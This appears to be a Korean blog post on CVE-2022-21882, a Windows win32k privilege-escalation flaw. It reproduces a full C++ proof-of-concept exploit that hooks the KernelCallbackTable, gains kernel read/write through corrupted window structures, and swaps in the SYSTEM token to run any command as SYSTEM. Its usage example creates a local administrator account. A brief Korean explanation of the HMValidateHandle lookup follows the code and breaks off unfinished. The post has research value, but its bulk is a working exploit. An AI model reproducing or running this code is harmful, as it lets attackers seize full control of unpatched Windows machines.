CVE 2022 21882

Table of Contents

CVE-2022-21882 win32k LPE bypass CVE-2021-1732

only tested on windows 20h2 19042.1415

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
// ExploitTest.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include<time.h>

typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);
typedef DWORD64(NTAPI *fnxxxClientAllocWindowClassExtraBytes)(DWORD64 *a1);
typedef DWORD64(NTAPI *fnxxxClientFreeWindowClassExtraBytes)(DWORD64 *a1);
typedef DWORD64(NTAPI *fnNtUserConsoleControl)(int nConsoleCommand, HWND *pHwnd, int nConsoleInformationLength);
typedef DWORD64(NTAPI *fnNtCallbackReturn)(DWORD64 *a1, DWORD64 a2, DWORD64 a3);
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
typedef DWORD64 QWORD;

#define _BYTE  uint8
#define _WORD  uint16
#define _DWORD uint32
#define _QWORD uint64

lHMValidateHandle g_pfnHmValidateHandle = NULL;

fnxxxClientAllocWindowClassExtraBytes	g_oldxxxClientAllocWindowClassExtraBytes = NULL;
fnxxxClientFreeWindowClassExtraBytes	g_oldxxxClientFreeWindowClassExtraBytes = NULL;

QWORD g_nRandom = 0;
QWORD g_qwExpLoit = 0;
QWORD	ref_g_pMem5 = 0;
HWND g_hWndMax = 0;
QWORD	g_qwrpdesk  = 0;
bool	g_bIsInit = 0;
DWORD g_pmbi_rcBar_left = 0;
DWORD g_offset_0x1 = 0;
QWORD g_qwMinBaseAddress = 0;
QWORD g_qwRegionSize = 0;
DWORD	kernel_desktop_heap_base_offset_Min = 0;
fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;
fnNtCallbackReturn g_pfnNtCallbackReturn = nullptr;

BOOL FindHMValidateHandle() {
	HMODULE hUser32 = LoadLibraryA("user32.dll");
	if (hUser32 == NULL) {
		printf("Failed to load user32");
		return FALSE;
	}

	BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
	if (pIsMenu == NULL) {
		printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
		return FALSE;
	}

    // 접근 권한 예외를 일으키지 않고
    // .text 섹션 내에서 E8 명령을 찾을 수 있는 범위 0x1000
	unsigned int uiHMValidateHandleOffset = 0;
	for (unsigned int i = 0; i < 0x1000; i++) {
		BYTE* test = pIsMenu + i;
		if (*test == 0xE8) {
			uiHMValidateHandleOffset = i + 1;
			break;
		}
	}
	if (uiHMValidateHandleOffset == 0) {
		printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
		return FALSE;
	}

	unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
	unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
	//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
	g_pfnHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
	return TRUE;
}


HWND GuessHwnd(QWORD *pBaseAddress, DWORD dwRegionSize)
{
	QWORD qwBaseAddressBak = *pBaseAddress;
	QWORD qwBaseAddress = *pBaseAddress;
	DWORD dwRegionSizeBak = dwRegionSize;
	HWND hwndMagicWindow = nullptr;
	do 
	{
		while (*(WORD*)qwBaseAddress != g_nRandom&dwRegionSize > 0)
		{
			qwBaseAddress += 2;
			dwRegionSize--;
		}
		if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000)
		{
			qwBaseAddress = qwBaseAddress + 4;
			QWORD qwSub = qwBaseAddressBak - qwBaseAddress;
			dwRegionSize = dwRegionSizeBak + qwSub;
		}
		hwndMagicWindow = (HWND)*(DWORD*)(qwBaseAddress - 0xc8);
		if (hwndMagicWindow)
			break;


	} while (true);

	return hwndMagicWindow;
}

HWND g_hWndMagic = 0;

DWORD64 g_newxxxClientFreeWindowClassExtraBytes(DWORD64 *a1)
{
	DWORD64 dwTemp = *a1;
	//__debugbreak();
	printf("Free ExtraBytes:%p\n", *(DWORD64*)(dwTemp + 0xc8));
	if (dwTemp == g_nRandom)
        return 1;

	g_oldxxxClientAllocWindowClassExtraBytes(a1);
}

DWORD64 g_newxxxClientAllocWindowClassExtraBytes(DWORD64 *a1)
{
	DWORD64 dwTemp = *a1;

	if (dwTemp == g_nRandom)
	{
		g_pfnNtUserConsoleControl(6, &g_hWndMagic, 0x10);
		//kernel_desktop_heap_base_offset_Min
		QWORD qwRet = kernel_desktop_heap_base_offset_Min;	//0x1122334455667788;
		printf("set ExtraData == %p\n", kernel_desktop_heap_base_offset_Min);
		g_pfnNtCallbackReturn(&qwRet, 24, 0);
	}

	return g_oldxxxClientAllocWindowClassExtraBytes(a1);
}

LRESULT __fastcall MyWndProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
	if (a2 != 2)
		return DefWindowProcW(a1, a2, a3, a4);
	PostQuitMessage(0);
	return 0;
}

QWORD MyRead64(QWORD qwDestAddr)
{
	MENUBARINFO pmbi = {};
	pmbi.cbSize = sizeof(MENUBARINFO);

	if (g_bIsInit)
	{	}
	else
	{
		QWORD *pTemp = (QWORD*)LocalAlloc(0x40u, 0x200);
		memset(pTemp, 0, 0x200);
		QWORD qwBase = 0x000000400000000;
		QWORD qwAdd = 0x0000000800000008;

		for (int i = 0; i < 0x40; i++)
		{
			*(pTemp + i) = qwBase + qwAdd*i;
		}

		*(QWORD *)ref_g_pMem5 = (QWORD)pTemp;
		GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
		g_pmbi_rcBar_left = pmbi.rcBar.left;
		bool	g_bIsInit = 1;
	}

	*(QWORD *)ref_g_pMem5 = qwDestAddr - g_pmbi_rcBar_left;
	GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
	return 	(unsigned int)pmbi.rcBar.left + ((QWORD)pmbi.rcBar.top << 32);
}

int _tmain(int argc, _TCHAR* argv[])
{
    // 인자 체크크
	if (argc != 2)
	{
		printf("Usage: %S command\nExample: %S \"net user admin admin /ad & net user localgroup administrators admin /ad\"\n\n!", argv[0], argv[0]);
		return -1;
	}

    // user32.dll 에서 IsMenu 함수가 있는지 찾은 다음 IsMenu 함수가 있다면 E8 명령을 찾음
    // 
	if (!FindHMValidateHandle()) {
		printf("[!] Failed to locate HmValidateHandle, exiting\n");
		return 1;
	}

	g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");

	g_pfnNtCallbackReturn = (fnNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn");

	//hook  xxxClientAllocWindowClassExtraBytes

	//获取 KernelCallbackTable gs段寄存器 0x60位置为PEB
	// PEB 偏移0x58位置为KernelCallbackTable
	DWORD64	KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60u) + 0x58);

	// 0x3d8位置为函数 user32!_xxxClientAllocWindowClassExtraBytes:
	g_oldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes)*(DWORD64*)(KernelCallbackTable + 0x3D8);// 0x3d8位置为函数

	g_oldxxxClientFreeWindowClassExtraBytes == (fnxxxClientFreeWindowClassExtraBytes)*(DWORD64*)(KernelCallbackTable + 0x3E0);// 0x3d8位置为函数
	DWORD dwOldProtect;

	srand(time(0));
	g_nRandom = (rand() % 255 + 0x1234) | 1;

	WNDCLASSEXW wndClass = {};

	wndClass.lpfnWndProc = (WNDPROC)MyWndProc;
	wndClass.cbSize = 80;
	wndClass.style = 3;
	wndClass.cbClsExtra = 0;
	wndClass.cbWndExtra = 32;
	wndClass.hInstance = GetModuleHandleW(0);
	wndClass.lpszClassName = L"normalClass";
	ATOM g_lpWcxNormal = RegisterClassExW(&wndClass);
	//g_nRandom
	wndClass.cbWndExtra = g_nRandom;
	wndClass.lpszClassName = L"magicClass";
	ATOM g_lpWcxMagic = RegisterClassExW(&wndClass);

	QWORD	offset_0x2c = 0x2C;
	QWORD	offset_0x28 = 0x28;
	QWORD	offset_0x40 = 0x40;
	QWORD	offset_0x44 = 0x44;
	QWORD	offset_0x58 = 0x58;
	QWORD	offset_0x128 = 0x128;
	QWORD	offset_0xc8 = 0xc8;
	QWORD	offset_0x18 = 0x18;				
	QWORD	offset_0x10 = 0x10;
	QWORD	offset_0x220 = 0x220;
	QWORD	offset_0x80 = 0x80;
	QWORD	offset_0x98 = 0x98;
	QWORD	offset_0x50 = 0x50;
	QWORD	offset_0xe0 = 0xe0;

	QWORD	offset_ActiveProcessLinks = 0x448;
	QWORD	offset_InheritedFromUniqueProcessId = 0x540;
	QWORD	offset_Token = 0x4b8;
	QWORD	offset_UniqueProcessId = 0x440;

	CreatePopupMenu();

	QWORD	g_pMem1 = (QWORD)LocalAlloc(0x40u, 0x200);
	QWORD	g_pMem2 = (QWORD)LocalAlloc(0x40u, 0x30);
	QWORD	g_pMem3 = (QWORD)LocalAlloc(0x40u, 4);
	QWORD	g_pMem4 = (LONG_PTR)LocalAlloc(0x40u, 0xA0);
	HLOCAL	g_pMem5 = LocalAlloc(0x40u, 8);

	DWORD *ref_g_pMem1 = (DWORD *)g_pMem1;
	
	QWORD ref_g_pMem2 = g_pMem2;
	QWORD ref_g_pMem3 = g_pMem3;
	QWORD	ref_g_pMem4 = g_pMem4;
	ref_g_pMem5 = (QWORD)g_pMem5;

	*(DWORD *)(g_pMem2 + offset_0x2c) = 16;
	*ref_g_pMem1 = 0x88888888;
	*(QWORD *)&ref_g_pMem1[2 * ((unsigned int)offset_0x28 >> 3)] = ref_g_pMem2;
	ref_g_pMem1[( QWORD)(unsigned int)offset_0x40 >> 2] = 1;
	ref_g_pMem1[( QWORD)(unsigned int)offset_0x44 >> 2] = 1;

	*(QWORD *)&ref_g_pMem1[2 * (( QWORD)(unsigned int)offset_0x58 >> 3)] = (QWORD)g_pMem5;

	*(QWORD *)(ref_g_pMem3 + 8) = 16;

	*(QWORD *)ref_g_pMem3 = (QWORD)ref_g_pMem1;
	*(QWORD *)(ref_g_pMem4 +offset_0x98) = ref_g_pMem3;

	printf("CreateWnd\r\n");

	struct _MEMORY_BASIC_INFORMATION Buffer = {};

	Buffer.BaseAddress = 0;
	Buffer.AllocationBase = 0;
	*(QWORD *)&Buffer.AllocationProtect = 0;
	Buffer.RegionSize = 0;
	*(QWORD *)&Buffer.State = 0;
	*(QWORD *)&Buffer.Type = 0;

	QWORD	nIndex = 0;
	QWORD nLoop = 10;

	QWORD kernel_desktop_heap_base_offset1 = 0;
	QWORD kernel_desktop_heap_base_offset2 = 0;

	QWORD arrEntryDesktop[10] = {};
	HWND arrhwndNoraml[10] = {};

	do
	{
	
		HWND hwndNormal = CreateWindowExW(
			WS_EX_NOACTIVATE,
			L"normalClass",
			L"somewnd",
			WS_EX_NOACTIVATE,
			0,
			0,
			0,
			0,
			0,
			CreateMenu(),
			GetModuleHandleW(0) ,
			0);

		arrhwndNoraml[nIndex] = hwndNormal;
		QWORD	qwfirstEntryDesktop = (QWORD)g_pfnHmValidateHandle(hwndNormal, 1);
		arrEntryDesktop[nIndex] = qwfirstEntryDesktop;

		printf("Hwnd:%08x   qwfirstEntryDesktop=%p\r\n", hwndNormal, qwfirstEntryDesktop);

		VirtualQuery((LPVOID)qwfirstEntryDesktop, &Buffer, 0x30);

		printf("BaseAddress:%p   RegionSize=:%p\r\n", Buffer.BaseAddress, Buffer.RegionSize);

		if (g_qwMinBaseAddress == 0)
		{
			g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress;
			g_qwRegionSize = (QWORD)Buffer.RegionSize;
		}
		else
		{
			if (g_qwMinBaseAddress<(QWORD)Buffer.BaseAddress)
			{
			}
			else
			{
				g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress;
				g_qwRegionSize = (QWORD)Buffer.RegionSize;
			}

		}


		//保存最小的

		++nIndex;
		--nLoop;
	}
	while (nLoop);

	printf("Min BaseAddress:%p   RegionSize=:%p\r\n", g_qwMinBaseAddress, g_qwRegionSize);

	kernel_desktop_heap_base_offset1 = *(DWORD *)((char *)arrEntryDesktop[0] + 8);
	kernel_desktop_heap_base_offset2 = *(DWORD *)((char *)arrEntryDesktop[1] + 8);

	HWND hWndMin = *(HWND *)((char *)arrhwndNoraml + (kernel_desktop_heap_base_offset2 < kernel_desktop_heap_base_offset1 ? 8 : 0));

	int nTemp = 0;
	if (kernel_desktop_heap_base_offset1 <= kernel_desktop_heap_base_offset2)
		nTemp = 1;
	g_hWndMax = arrhwndNoraml[nTemp];
	QWORD	firstEntryDesktop_Max = arrEntryDesktop[nTemp];

	firstEntryDesktop_Max = arrEntryDesktop[nTemp];

	QWORD	firstEntryDesktop_Min = *(QWORD *)((char *)arrEntryDesktop + (kernel_desktop_heap_base_offset2 < kernel_desktop_heap_base_offset1 ? 8 : 0));

	kernel_desktop_heap_base_offset_Min = *(DWORD *)(firstEntryDesktop_Min + 8);
	DWORD	kernel_desktop_heap_base_offset_Max = *(DWORD *)((char *)firstEntryDesktop_Max + 8);
	for (int i = 2; i < 10; ++i)
		DestroyWindow(arrhwndNoraml[i]);

	g_pfnNtUserConsoleControl(6, &hWndMin, 0x10);

	DWORD tagWndMin_offset_0x128 = *(DWORD *)(firstEntryDesktop_Min + offset_0x128);
	DWORD tagWndMax_offset_0x128 = *(QWORD *)(firstEntryDesktop_Max + offset_0x128);

	g_hWndMagic = CreateWindowExW(
		0x8000000u,
		(LPCWSTR)g_lpWcxMagic,
		L"somewnd",
		0x8000000u,
		0,
		0,
		0,
		0,
		0,
		CreateMenu() ,
		GetModuleHandleW(0) ,
		0);
	printf("realMagicHwnd=%p\n", g_hWndMagic);

	VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300, 0x40u, &dwOldProtect);
	*(DWORD64*)(KernelCallbackTable + 0x3D8) = (DWORD64)g_newxxxClientAllocWindowClassExtraBytes;

	*(DWORD64*)(KernelCallbackTable + 0x3E0) = (DWORD64)g_newxxxClientFreeWindowClassExtraBytes;

	VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300, dwOldProtect, &dwOldProtect);

	NtUserMessageCall(g_hWndMagic, WM_CREATE, 0, 0, 0, 0xE0, 0);

	DWORD dwRet = SetWindowLongW(g_hWndMagic, offset_0x128+0x10, kernel_desktop_heap_base_offset_Min);

	printf("dwRet=%p\r\n", dwRet);

	printf("tagWndMin_offset_0x128=%p\r\n", tagWndMin_offset_0x128);

	SetWindowLongW(g_hWndMagic, offset_0xc8+0x10, 0xFFFFFFF);

	g_qwrpdesk  = *(QWORD *)(firstEntryDesktop_Max + offset_0x18);

	SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk  ^ 0x4000000000000000);

	g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4);

	printf("g_qwExpLoit=%p\r\n", g_qwExpLoit);

	QWORD	qwOffset = kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min;

	QWORD qwNewLong = g_qwExpLoit;

	SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk );

	QWORD qwFrist = MyRead64(g_qwExpLoit + offset_0x50);

	printf("qwFrist read=%p\r\n", qwFrist);

	QWORD qwSecond = MyRead64(qwFrist + offset_0x18);
	printf("qwSecond read=%p\r\n", qwSecond);

	QWORD qwThird = MyRead64(qwSecond + offset_0x80);

	printf("qwSecond read=%p\r\n", qwThird);

	QWORD qwFourth = MyRead64(qwFrist + offset_0x10);

	printf("qwFourth read=%p\r\n", qwFourth);

	QWORD qwFifth = MyRead64(qwFourth);

	printf("qwFifth read=%p\r\n", qwFifth);

	QWORD qwEprocess = MyRead64(qwFifth + offset_0x220);

	printf("qwSixth read=%p\r\n", qwEprocess);
	
	QWORD qwEprocessBak = qwEprocess;

	DWORD dwPidSelf = GetCurrentProcessId();
	
	QWORD dwSystemToken = 0;

	QWORD dwMyToken = 0;

	QWORD qwMyTokenAddr = 0;

	while (!dwSystemToken || !qwMyTokenAddr)
	{

	DWORD	dwPidRead = MyRead64(qwEprocess + (unsigned int)offset_UniqueProcessId);
	if (dwPidRead == 4)
			dwSystemToken = MyRead64(qwEprocess + (unsigned int)offset_Token);
	if (dwPidRead == dwPidSelf)
			qwMyTokenAddr = qwEprocess + (unsigned int)offset_Token;
	qwEprocess = MyRead64(qwEprocess + (unsigned int)offset_ActiveProcessLinks)- (unsigned int)offset_ActiveProcessLinks;
	
	if (qwEprocessBak==qwEprocess)
	{
		break;
	}

	}

	//write64
	SetWindowLongPtrA(hWndMin, kernel_desktop_heap_base_offset_Max + offset_0x128 - kernel_desktop_heap_base_offset_Min, qwMyTokenAddr);

	SetWindowLongPtrA(g_hWndMax, 0, dwSystemToken);

	SECURITY_ATTRIBUTES		sa;
	HANDLE					hRead, hWrite;
	byte					buf[40960] = { 0 };
	STARTUPINFOW			si;
	PROCESS_INFORMATION		pi;
	DWORD					bytesRead;
	RtlSecureZeroMemory(&si, sizeof(si));
	RtlSecureZeroMemory(&pi, sizeof(pi));
	RtlSecureZeroMemory(&sa, sizeof(sa));
	int br = 0;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
	if (!CreatePipe(&hRead, &hWrite, &sa, 0))
	{
		return -3;
	}
	wprintf(L"[*] Trying to execute %s as SYSTEM\n", argv[1]);
	si.cb = sizeof(STARTUPINFO);
	GetStartupInfoW(&si);
	si.hStdError = hWrite;
	si.hStdOutput = hWrite;
	si.wShowWindow = SW_HIDE;
	si.lpDesktop = L"WinSta0\\Default";
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	wchar_t cmd[4096] = { 0 };
	lstrcpyW(cmd, argv[1]);
	if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
	{
		CloseHandle(hWrite);
		CloseHandle(hRead);
		printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
		return -2;
	}
	CloseHandle(hWrite);
	printf("[+] ProcessCreated with pid %d!\n", pi.dwProcessId);
	while (1)
	{
		if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
			break;
		br += bytesRead;
	}
	puts("===============================");
	puts((char*)buf);
	fflush(stdout);
	fflush(stderr);
	CloseHandle(hRead);
	CloseHandle(pi.hProcess);

	QWORD	tagWndMagic = (QWORD)g_pfnHmValidateHandle(g_hWndMagic, 1);

	int 	nSizeofPointer = 8;

	QWORD qwcbwndExtra = *(QWORD *)(tagWndMagic +  offset_0xe0) ^ 0x80000000000;

	SetWindowLongPtrA(hWndMin, offset_0x128 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, qwThird + *(unsigned int *)(nSizeofPointer + tagWndMagic) + offset_0x128);
	SetWindowLongPtrA(g_hWndMax, 0, 0);

	SetWindowLongPtrA(hWndMin, offset_0x128 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, qwThird + *(unsigned int *)(nSizeofPointer + tagWndMagic) + offset_0xe0);
	SetWindowLongPtrA(g_hWndMax, 0, qwcbwndExtra);

	SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk  ^ 0x4000000000000000);
	SetWindowLongPtrA(g_hWndMax, -12, qwNewLong);

	SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk );
	SetWindowLongPtrA(hWndMin, offset_0x128 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, tagWndMax_offset_0x128);
	SetWindowLongPtrA(hWndMin, offset_0x128, tagWndMin_offset_0x128);

	return 0;
}

2. 코드 분석

FindHMValidateHandle() 함수에서 user32.dll 을 호출하고 그 안에서 IsMenu 함수를 찾는다.

만약 IsMenu 함수가 존재한다면, E8 명령을 찾는다.

E8은 명령은 x86/x64 어셈블리에서 CALL near, relative 명령이다.

항목내용
명령어 이름CALL rel32
opcode0xE8
Operand4바이트 (32비트 signed offset)
목적현재 위치에서 상대 거리만큼 떨어진 함수(주소)로 점프하며 호출
복귀호출이 끝나면 RET로 복귀 (CALL은 스택에 복귀 주소를 push)

즉 ‘E8 xx xx xx xx’ 형태로 사용되고, 함수 호출 기능이 있다 정도로 알면 될것 같다.

다음 코드를 보자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
	HMODULE hUser32 = LoadLibraryA("user32.dll");
	BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
	unsigned int uiHMValidateHandleOffset = 0;
	for (unsigned int i = 0; i < 0x1000; i++) {
		BYTE* test = pIsMenu + i;
		if (*test == 0xE8) {
			uiHMValidateHandleOffset = i + 1;
			break;
		}
	}

본문에서는 IsMenu 함수의 위치에서 부터 0x1000 범위까지 탐색하며 E8 값을 찾을 시 바로 종료하고 있지만

사실 E8을 찾았다고해서 바로 이것이 Opcode라고 확신을 하는것은 무리가 아닐까 하는 생각이 든다.

아무튼 왜 user32.dll에서 IsMenu를 찾고, 거기서 e8을 찾는지를 좀더 깊게 생각해보아야 한다.

아마 이 PoC를 발견한 연구자가 user32.dll 을 분석하다가 user32.dll!IsMenu 이라는 구문을 발견했다. 그리고 IsMenu 함수를 분석하자 내부에서 HmValidateHandle() 함수를 호출하는 것이 발견되었다.

HmValidateHandle() 함수는 Windows GUI 서브시스템의 커널 내부에서 사용되는 비공식 함수로, 사용자 모드의 핸들을 내부 커널 구조체 포인터로 변환하는 역할을 한다.

즉 이 함수의 호출 위치를 알아낸다면 후킹을 시도해볼 수 있는 것이다.

자세한 내용은.. 내가 한 번 분석을 해 볼까?

Reference

https://github.com/KaLendsi/CVE-2022-21882/tree/main